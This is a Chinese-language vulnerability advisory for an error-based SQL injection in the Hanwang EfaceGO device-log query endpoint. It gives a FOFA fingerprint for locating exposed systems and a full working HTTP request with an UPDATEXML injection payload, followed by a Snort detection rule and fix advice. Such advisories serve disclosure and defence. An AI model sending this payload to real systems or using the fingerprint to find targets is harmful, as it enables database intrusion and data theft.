

汉王EfaceGO-queryManageDeviceLogs-sql注入

汉王EfaceGO-queryManageDeviceLogs-sql注入，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

汉王EfaceGO

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: icon_hash="1380907357"

POC/EXP:

```
GET /manage/systemLogMgr/queryManageDeviceLogs.do?
recoToken=67mds2pXXQb&t=1751959258092&begin=2025-07-01+00:00:00&end=2025-07-
31+23:59:59&page=1&pageSize=25&order=(UPDATEXML(2920,CONCAT(0x2e,0x71716a7071,
(SELECT+(ELT(2920=2920,1))),0x71706b7671),8357)) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/103.0.5060.66 Safari/537.36
Accept: application/json, text/plain, */*
languageLocal: zh-CN
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
```



sonrt规则：

```

alert http any any -> $HOME_NET any (
  msg:"HanWang EFaceGO - MySQL Error-Based SQL Injection via
queryManageDeviceLogs";
  flow:to_server,established;
  http.method; content:"GET";
  http.uri; content:"/manage/systemLogMgr/queryManageDeviceLogs.do";
  http.uri; pcre:"/order=\\(UPDATEXML\\(2920,CONCAT\\(0x2e,0x71716a7071,\\
(SELECT\\+\\(ELT\\(2920=2920,1\\)\\)\\),0x71706b7671\\),8357\\)\\)/i";
  metadata:
    cve none,
    service http,
    affected_product "汉王EFaceGO",
    vulnerability_type "MySQL Error-Based SQL Injection",
    attack_target "database_server",
    severity "high";
  classtype:sql-injection;
  sid:1000510;
  rev:1;
  priority:1;
)
```

漏洞修复

- 关闭互联网暴露面或接口设置访问权限
- 升级至安全版本。